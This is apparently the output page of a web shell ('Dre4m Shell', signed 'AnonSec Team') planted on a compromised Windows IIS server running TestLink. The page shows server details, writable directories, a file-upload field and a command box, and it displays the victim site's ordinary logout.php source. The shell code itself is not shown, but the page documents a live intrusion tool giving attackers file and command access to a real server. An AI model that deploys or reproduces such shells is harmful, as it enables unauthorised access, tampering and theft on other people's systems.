Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.223.158.132
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/jivisol1/testlink.jivisolutions.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/jivisol1/testlink.jivisolutions.com/wwwroot/logout.php
<?php
/**
 * TestLink Open Source Project - http://testlink.sourceforge.net/ 
 * This script is distributed under the GNU General Public License 2 or later. 
 * 
 * @filesource	logout.php
 *
 *
**/
require_once('config.inc.php');
require_once('common.php');
testlinkInitPage($db);

$args = init_args();
if ($args->userID) {
  logAuditEvent(TLS("audit_user_logout",$args->userName),"LOGOUT",$args->userID,"users");  
}
session_unset();
session_destroy();

$authCfg = config_get('authentication');
if(isset($authCfg['SSO_enabled']) && $authCfg['SSO_enabled'] 
   && $args->ssodisable == FALSE) {
  redirect($authCfg['SSO_logout_destination']);
} else {
  $std = "login.php?note=logout&viewer={$args->viewer}";
  $std .= $args->ssodisable ? "&ssodisable" : '';

  $xx = config_get('logoutUrl');
  $lo = is_null($xx) || trim($xx) == '' ? $std : $xx;
  redirect($lo);
}
exit();


/**
 *
 */
function init_args() {
	$args = new stdClass();
	
	$args->userID = isset($_SESSION['userID']) ?  $_SESSION['userID'] : null;
	$args->userName = $args->userID ? $_SESSION['currentUser']->getDisplayName() : "";
	
	$args->viewer = isset($_GET['viewer']) ? $_GET['viewer'] : '';
  $args->ssodisable = getSSODisable();
	
  return $args;
}

Anon7 - 2022
AnonSec Team